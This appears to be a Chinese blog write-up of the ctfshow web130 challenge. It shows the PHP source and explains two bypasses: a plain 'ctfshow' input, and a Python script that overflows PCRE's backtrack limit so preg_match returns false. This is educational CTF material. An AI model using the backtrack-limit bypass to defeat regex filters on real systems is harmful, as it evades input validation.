web130笔记(preg_match函数特性)

very very very(省略25万个very)ctfshow

直接绕过正则表达式: f=ctfshow
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag,所以payload为

post:
f=ctfshow
f不能是xxxctfshow(反正前⾯有东⻄)
然后FALSE那⾥因为是强⽐较,所以ctfshow就算在开头值也是0⽽不是FALSE,⽽如果是弱⽐较的会就会进⼊die('bye!!');
但还是讲一下这题本来的考点,提示very应该考的是正则的最大回溯

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/27 17:52
# blog: www.wlhhlc.top
import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
    'f': 'mm'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

 

 
posted @ 2025-03-28 15:34  justdoIT*  阅读(56)  评论(0)    收藏  举报